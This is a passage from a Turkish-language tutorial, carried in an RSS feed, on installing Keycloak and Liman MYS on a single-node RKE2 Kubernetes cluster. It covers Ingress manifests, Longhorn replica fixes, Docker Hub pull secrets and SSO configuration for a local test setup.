&lt;pre class="highlight shell"&gt;&lt;code&gt;NAME                 TYPE        CLUSTER-IP     EXTERNAL-IP   PORT&lt;span class="o"&gt;(&lt;/span&gt;S&lt;span class="o"&gt;)&lt;/span&gt;    AGE
keycloak             ClusterIP   10.43.158.36   &amp;lt;none&amp;gt;        8080/TCP   40h
keycloak-discovery   ClusterIP   None           &amp;lt;none&amp;gt;        &amp;lt;none&amp;gt;     40h
kubernetes           ClusterIP   10.43.0.1      &amp;lt;none&amp;gt;        443/TCP    42h
postgres             ClusterIP   10.43.32.41    &amp;lt;none&amp;gt;        5432/TCP   40h

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Gördüğümüz gibi, keycloak servisi 8080 portunu kullanıyor. Şimdi keycloak-ingress.yaml dosyamızı oluşturalım:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nano keycloak-ingress.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dosyanın içeriği:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Ingress&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;keycloak-ingress&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="c1"&gt;# RKE2'nin varsayılan nginx controller'ını kullan&lt;/span&gt;
  &lt;span class="na"&gt;ingressClassName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx&lt;/span&gt;  
  &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;keycloak.test.local"&lt;/span&gt; &lt;span class="c1"&gt;# Keycloak'a bu adresle erişeceğiz&lt;/span&gt;
    &lt;span class="na"&gt;http&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
        &lt;span class="na"&gt;pathType&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Prefix&lt;/span&gt;
        &lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;keycloak&lt;/span&gt;   &lt;span class="c1"&gt;# Yukarıda öğrendiğimiz servis adı&lt;/span&gt;
            &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
              &lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;8080&lt;/span&gt; &lt;span class="c1"&gt;# Yukarıda öğrendiğimiz port&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Ingress kuralını uygulayalım:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; keycloak-ingress.yaml
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Adım 4: Hosts Dosyası
&lt;/h3&gt;

&lt;p&gt;keycloak.test.local adresinin RKE2 sunucumuzun IP'sine yönlenmesi için, tarayıcıyı kullandığımız kendi bilgisayarımızda (sunucuda değil!) /etc/hosts dosyasını düzenlememiz gerekiyor.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano /etc/hosts
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Dosyanın en altına RKE2 sunucunuzun IP'sini ve host adını ekleyin:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;kubernetes-kurulu-server-ip-adresi&amp;gt;   keycloak.test.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Artık tarayıcıdan &lt;a href="https://www.google.com/search?q=http://keycloak.test.local" rel="noopener noreferrer"&gt;http://keycloak.test.local&lt;/a&gt; adresine giderek Keycloak arayüzüne erişebilirsiniz.&lt;/p&gt;

&lt;p&gt;Varsayılan hızlı başlangıç bilgileri:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Kullanıcı Adı: admin&lt;/li&gt;
&lt;li&gt;Şifre: admin&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Faz 3: Keycloak'u Liman için Yapılandırma
&lt;/h2&gt;

&lt;p&gt;Liman'a "Bana güvenebilirsin" demek için Keycloak'ta bir "Client" (istemci) ve "Realm" (Bölge) oluşturmalıyız.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Realm Oluşturun:&lt;/strong&gt; admin olarak giriş yaptıktan sonra, sol üstteki "master" yazan yerden "Manage realms" &amp;gt; "Create Realm" deyin. Realm adınızı Liman-Realm gibi bir şey yapın ve "Create"e tıklayın.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client Oluşturun:&lt;/strong&gt; Sol üstten &lt;code&gt;Liman-Realm&lt;/code&gt;'i seçtiğinizden emin olun. Sol menüden "&lt;code&gt;Clients&lt;/code&gt;" sekmesine ve ardından "&lt;code&gt;Create Client&lt;/code&gt;"a tıklayın. "&lt;code&gt;Client ID&lt;/code&gt;" kısmına &lt;code&gt;liman-client&lt;/code&gt; gibi hatırlayacağınız bir isim verin. Gelen ekranda "&lt;code&gt;Client authentication&lt;/code&gt;" ve "&lt;code&gt;Authorization&lt;/code&gt;" seçeneklerini &lt;code&gt;ON (Açık)&lt;/code&gt; konuma getirin. Aşağıdaki "&lt;code&gt;Valid redirect URIs&lt;/code&gt;" alanına, Liman arayüzünde bizden istenen adresi girmeliyiz. Bu, Liman'ın Ingress host adına bağlı olacaktır. Şimdilik &lt;a href="https://www.google.com/search?q=https://liman.test.local/keycloak/callback" rel="noopener noreferrer"&gt;https://liman.test.local/keycloak/callback&lt;/a&gt; yazabilirsiniz. (Liman Ingress'ini oluştururken liman.test.local kullanacağız). Web origins kısmına da &lt;a href="https://www.google.com/search?q=https://liman.test.local" rel="noopener noreferrer"&gt;https://liman.test.local&lt;/a&gt; yazın ve kaydedin.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Client Secret'ı Alın:&lt;/strong&gt; Kaydettikten sonra açılan "Credentials" sekmesine tıklayın ve "Client Secret" değerini kopyalayın. Bu, Liman'daki forma yapıştıracağımız "şifre" olacak.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Rolleri Token'a Ekleyin (Çok Önemli Adım!):&lt;/strong&gt; Liman'ın, giriş yapan kullanıcının yetkilerini anlaması için bu rollerin Keycloak tarafından oluşturulan token'a eklenmesi gerekir.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sol menüden "Client Scopes"a tıklayın.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;roles&lt;/code&gt; adlı scope'u seçin.&lt;/li&gt;
&lt;li&gt;Açılan ekranda "Mappers" (Eşleyiciler) sekmesine tıklayın.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;realm-roles&lt;/code&gt;'e girin, "Add to access token" seçeneğini aktifleştirip kaydedin.&lt;/li&gt;
&lt;li&gt;Aynı işlemi &lt;code&gt;client-roles&lt;/code&gt; için de yapın.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Test Kullanıcısı Oluşturun:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sol menüden "&lt;code&gt;Users&lt;/code&gt;"a gidin ve "&lt;code&gt;Add User&lt;/code&gt;" deyin.&lt;/li&gt;
&lt;li&gt;Kullanıcı bilgilerinizi girin, "&lt;code&gt;Email verified&lt;/code&gt;" seçeneğini açın ve Create'e tıklayın.&lt;/li&gt;
&lt;li&gt;Kullanıcıyı oluşturduktan sonra, "&lt;code&gt;Credentials&lt;/code&gt;" sekmesine giderek ona kalıcı bir şifre belirleyin (Temporary'i kapatarak).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;Keycloak tarafı artık Liman'ı kabul etmeye hazır.&lt;/p&gt;

&lt;h2&gt;
  
  
  Faz 4: Liman MYS Kurulumu ve Hata Ayıklama
&lt;/h2&gt;

&lt;p&gt;Şimdi Liman MYS'yi kuralım ve bu süreçte karşılaşacağımız iki yaygın hatayı çözelim.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/limanmys/core.git
&lt;span class="nb"&gt;cd &lt;/span&gt;core/k8s/helm
kubectl create namespace liman
helm &lt;span class="nb"&gt;install &lt;/span&gt;limancore &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--namespace&lt;/span&gt; liman
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;kubectl get pods -n liman&lt;/code&gt; komutunu çalıştırdığınızda, pod'ların Pending (Beklemede) veya ErrImagePull durumunda takıldığını göreceksiniz. Panik yapmayın, bu normal.&lt;/p&gt;

&lt;h3&gt;
  
  
  HATA 1 ÇÖZÜMÜ: Pending (Beklemede) Pod'lar
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;db-&lt;/code&gt; ve &lt;code&gt;limancore-&lt;/code&gt; pod'larının Pending kalmasının nedeni, Longhorn'un varsayılan olarak 3 replica (kopya) disk oluşturmaya çalışmasıdır. Bizim RKE2 kurulumumuz tek bir sunucudan (Node) oluştuğu için Longhorn "Verinin 3 kopyasını oluşturamam" diyerek diski (Volume) oluşturmayı reddeder.&lt;/p&gt;

&lt;p&gt;Bunu düzeltmek için Longhorn arayüzüne erişip replica sayısını 1'e düşüreceğiz:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Longhorn Arayüzünü Erişime Açın:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl edit svc longhorn-frontend &lt;span class="nt"&gt;-n&lt;/span&gt; longhorn-system
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Açılan vi editöründe, &lt;code&gt;spec:&lt;/code&gt; altındaki &lt;code&gt;type: ClusterIP&lt;/code&gt; satırını &lt;code&gt;type: NodePort&lt;/code&gt; olarak değiştirin ve kaydedip çıkın (Esc &amp;gt; :wq &amp;gt; Enter).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Portu Öğrenin:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get svc &lt;span class="nt"&gt;-n&lt;/span&gt; longhorn-system
NAME                          TYPE        CLUSTER-IP      EXTERNAL-IP   PORT&lt;span class="o"&gt;(&lt;/span&gt;S&lt;span class="o"&gt;)&lt;/span&gt;        AGE
longhorn-admission-webhook    ClusterIP   10.43.130.170   &amp;lt;none&amp;gt;        9502/TCP       23h
longhorn-backend              ClusterIP   10.43.171.127   &amp;lt;none&amp;gt;        9500/TCP       23h
longhorn-conversion-webhook   ClusterIP   10.43.234.16    &amp;lt;none&amp;gt;        9501/TCP       23h
longhorn-frontend             NodePort    10.43.84.222    &amp;lt;none&amp;gt;        80:31248/TCP   23h
longhorn-recovery-backend     ClusterIP   10.43.60.100    &amp;lt;none&amp;gt;        9503/TCP       23h

&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;code&gt;longhorn-frontend&lt;/code&gt; servisinin &lt;code&gt;NodePort&lt;/code&gt; değerini (örn: &lt;code&gt;80:31248/TCP&lt;/code&gt;) göreceksiniz. Bize &lt;code&gt;31248&lt;/code&gt; portu lazım.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Replica Sayısını Düşürün:&lt;/strong&gt; Tarayıcınızdan &lt;code&gt;http://&amp;lt;sunucu-ip-adresi&amp;gt;:&amp;lt;port-sayısı&amp;gt;&lt;/code&gt; (örn: &lt;a href="http://xx.xx.xx.xx:31248" rel="noopener noreferrer"&gt;http://xx.xx.xx.xx:31248&lt;/a&gt;) adresine gidin. "Volume" sekmesine gidin. Faulted (Hatalı) durumda olan volüm'leri (liman db ve core için) göreceksiniz. Sağ taraftaki üç noktaya tıklayın ve "Update Replicas" (Replica'ları Güncelle) deyin. Değeri 3'ten 1'e düşürün ve OK'e basın.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Bunu hatalı olan tüm Liman volüm'leri için yaptığınızda, durumları "Healthy" (Sağlıklı) olacaktır ve pod'lar Pending durumundan çıkacaktır.&lt;/p&gt;

&lt;h3&gt;
  
  
  HATA 2 ÇÖZÜMÜ: ErrImagePull / TooManyRequests
&lt;/h3&gt;

&lt;p&gt;Pending sorununu çözseniz bile, pod'ların bu kez &lt;code&gt;ErrImagePull&lt;/code&gt; veya &lt;code&gt;ImagePullBackOff&lt;/code&gt; hatası verdiğini göreceksiniz. Bunun nedeni, Docker Hub'ın anonim (giriş yapmamış) kullanıcılara çok düşük bir imaj indirme limiti koymasıdır.&lt;/p&gt;

&lt;p&gt;Çözüm, RKE2 sunucumuza Docker Hub'a nasıl giriş yapacağını öğretmektir.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Docker Hub Access Token Oluşturun:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;Docker Hub'a giriş yapın.&lt;/li&gt;
&lt;li&gt;Ayarlar &amp;gt; Security &amp;gt; Personal Access Tokens sayfasına gidin.&lt;/li&gt;
&lt;li&gt;"Generate New Token" diyerek bir token oluşturun ve bu token'ı güvenli bir yere kopyalayın.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Kubernetes Secret Oluşturun:&lt;/strong&gt; Terminalde, kopyaladığınız o token'ı kullanarak bir Kubernetes "giriş kartı" (secret) oluşturun:&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl create secret docker-registry dockerhub-auth &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--docker-username&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SizinDockerHubKullanıcıAdınız"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--docker-password&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"YENİ_OLUŞTURDUĞUNUZ_TOKEN"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--docker-email&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"SizinEmailAdresiniz"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-n&lt;/span&gt; liman
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Secret'ı Pod'lara Tanıtın:&lt;/strong&gt; &lt;code&gt;liman&lt;/code&gt; namespace'indeki &lt;code&gt;default&lt;/code&gt; (varsayılan) hizmet hesabını (Service Account) yamalayarak, bu namespace'de oluşturulan her pod'un imaj çekerken bu "giriş kartını" kullanmasını sağlayacağız:&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl patch serviceaccount default &lt;span class="nt"&gt;-n&lt;/span&gt; liman &lt;span class="nt"&gt;-p&lt;/span&gt; &lt;span class="s1"&gt;'{"imagePullSecrets": [{"name": "dockerhub-auth"}]}'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;




&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Pod'ları Yeniden Başlatın:&lt;/strong&gt; Hatalı pod'ları silerek Kubernetes'in onları yeni ayarla (giriş yapmış olarak) yeniden başlatmasını sağlayın:&lt;br&gt;
&lt;/p&gt;

&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl delete pods &lt;span class="nt"&gt;--all&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; liman
&lt;/code&gt;&lt;/pre&gt;



&lt;p&gt;Tekrar &lt;code&gt;kubectl get pods -n liman -w&lt;/code&gt; komutuyla izlediğinizde, bu kez tüm pod'ların imajları başarıyla çektiğini ve Running durumuna geçtiğini göreceksiniz.&lt;/p&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Faz 5: Liman Ingress ve Son Ayarlar
&lt;/h2&gt;

&lt;p&gt;Artık çalışan bir Liman'ımız var. Ona da Keycloak gibi temiz bir adresle erişelim.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Liman Ingress Dosyası:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;nano liman-ingress.yaml
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Dosyanın içeriği:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Ingress&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;liman&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;liman&lt;/span&gt;
  &lt;span class="na"&gt;annotations&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="c1"&gt;# Arka uç (Liman) HTTPS (443) kullandığı için Nginx'e HTTPS konuşmasını söylüyoruz&lt;/span&gt;
    &lt;span class="na"&gt;nginx.ingress.kubernetes.io/backend-protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;HTTPS"&lt;/span&gt;
    &lt;span class="c1"&gt;# Liman'ın kendi imzaladığı sertifikayı Nginx'in dert etmemesini söylüyoruz&lt;/span&gt;
    &lt;span class="na"&gt;nginx.ingress.kubernetes.io/proxy-ssl-verify&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;off"&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;ingressClassName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;nginx&lt;/span&gt;
  &lt;span class="na"&gt;rules&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;host&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;liman.test.local"&lt;/span&gt; &lt;span class="c1"&gt;# Liman'a bu adresle erişeceğiz&lt;/span&gt;
    &lt;span class="na"&gt;http&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;paths&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;path&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;/&lt;/span&gt;
        &lt;span class="na"&gt;pathType&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Prefix&lt;/span&gt;
        &lt;span class="na"&gt;backend&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;service&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
            &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;limancore&lt;/span&gt; &lt;span class="c1"&gt;# Liman'ın ana servis adı&lt;/span&gt;
            &lt;span class="na"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
              &lt;span class="na"&gt;number&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="m"&gt;443&lt;/span&gt;    &lt;span class="c1"&gt;# Liman'ın servis portu&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Dosyayı kaydedin ve uygulayın:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl apply &lt;span class="nt"&gt;-f&lt;/span&gt; liman-ingress.yaml &lt;span class="nt"&gt;-n&lt;/span&gt; liman
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Hosts Dosyasını Güncelleyin:&lt;/strong&gt; Tekrar kendi bilgisayarınızda &lt;code&gt;sudo nano /etc/hosts&lt;/code&gt; dosyasını açın ve &lt;code&gt;liman.test.local&lt;/code&gt; adresini de ekleyin:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;kubernetes-kurulu-server-ip-adresi&amp;gt;   keycloak.test.local
&amp;lt;kubernetes-kurulu-server-ip-adresi&amp;gt;   liman.test.local
&lt;/code&gt;&lt;/pre&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Liman Admin Şifresini Alın:&lt;/strong&gt; Liman'a ilk giriş için tek kullanımlık bir şifre almamız gerekiyor:&lt;br&gt;
&lt;/p&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Önce limancore pod'unun tam adını bulalım:&lt;/span&gt;
&lt;span class="nv"&gt;LIMAN_POD_NAME&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;kubectl get pods &lt;span class="nt"&gt;-n&lt;/span&gt; liman &lt;span class="nt"&gt;-l&lt;/span&gt; &lt;span class="nv"&gt;service&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;limancore &lt;span class="nt"&gt;-o&lt;/span&gt; &lt;span class="nv"&gt;jsonpath&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'{.items[0].metadata.name}'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"Liman Pod Adı: &lt;/span&gt;&lt;span class="nv"&gt;$LIMAN_POD_NAME&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;

&lt;span class="c"&gt;# Şimdi o pod'dan şifreyi isteyelim:&lt;/span&gt;
kubectl &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; &lt;span class="nv"&gt;$LIMAN_POD_NAME&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; liman &lt;span class="nt"&gt;--&lt;/span&gt; limanctl administrator
&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Size &lt;code&gt;administrator&lt;/code&gt; kullanıcısı için bir şifre verecektir.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Liman'ı Keycloak'a Bağlayın:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tarayıcınızdan &lt;a href="https://www.google.com/search?q=http://liman.test.local" rel="noopener noreferrer"&gt;http://liman.test.local&lt;/a&gt; adresine gidin. (Ingress, isteğinizi otomatik olarak HTTPS'e yönlendirecektir).&lt;/li&gt;
&lt;li&gt;Aldığınız &lt;code&gt;administrator&lt;/code&gt; şifresiyle giriş yapın.&lt;/li&gt;
&lt;li&gt;Ayarlar &amp;gt; Erişim &amp;gt; Keycloak sekmesine gidin.&lt;/li&gt;
&lt;li&gt;Buradaki alanları, Faz 3'te Keycloak'ta oluşturduğunuz bilgilerle doldurun:

&lt;ul&gt;
&lt;li&gt;Client ID: &lt;code&gt;liman-client&lt;/code&gt; (veya ne isim verdiyseniz)&lt;/li&gt;
&lt;li&gt;Client Secret: Keycloak'tan kopyaladığınız gizli şifre.&lt;/li&gt;
&lt;li&gt;Redirect URL: &lt;code&gt;https://liman.test.local/keycloak/callback&lt;/code&gt; (Keycloak'a girdiğiniz adresin aynısı)&lt;/li&gt;
&lt;li&gt;Base URL: &lt;code&gt;http://keycloak.default.svc.cluster.local:8080&lt;/code&gt; (Keycloak adresiniz)&lt;/li&gt;
&lt;li&gt;Realm: &lt;code&gt;Liman-Realm&lt;/code&gt; (veya ne isim verdiyseniz)&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;"Entegrasyonu aktifleştir" butonunu AÇIK hale getirin ve kaydedin.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Son Adım: Liman'ı Yeniden Başlatın
&lt;/h3&gt;

&lt;p&gt;Liman'ın bu yeni ayarları çekmesi için &lt;code&gt;limancore&lt;/code&gt; pod'unu yeniden başlatmamız gerekiyor:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Pod'un tam adını tekrar bulup silin&lt;/span&gt;
kubectl delete pod &lt;span class="nv"&gt;$LIMAN_POD_NAME&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; liman
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Pod yeniden başladığında, Liman giriş ekranına geri dönün.&lt;/p&gt;

&lt;p&gt;Artık "Giriş Yöntemi" olarak Keycloak'u seçebilir, Faz 3'te oluşturduğunuz test kullanıcısıyla giriş yapabilir ve Keycloak üzerinden Liman'a başarıyla bağlandığınızı görebilirsiniz.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tebrikler!&lt;/strong&gt; Artık RKE2 üzerinde çalışan, Longhorn ile kalıcı depolamaya sahip ve Keycloak ile SSO entegrasyonu tamamlanmış bir Liman MYS kurulumunuz var.&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>keycloak</category>
      <category>liman</category>
      <category>docker</category>
    </item>
  </channel>
</rss>
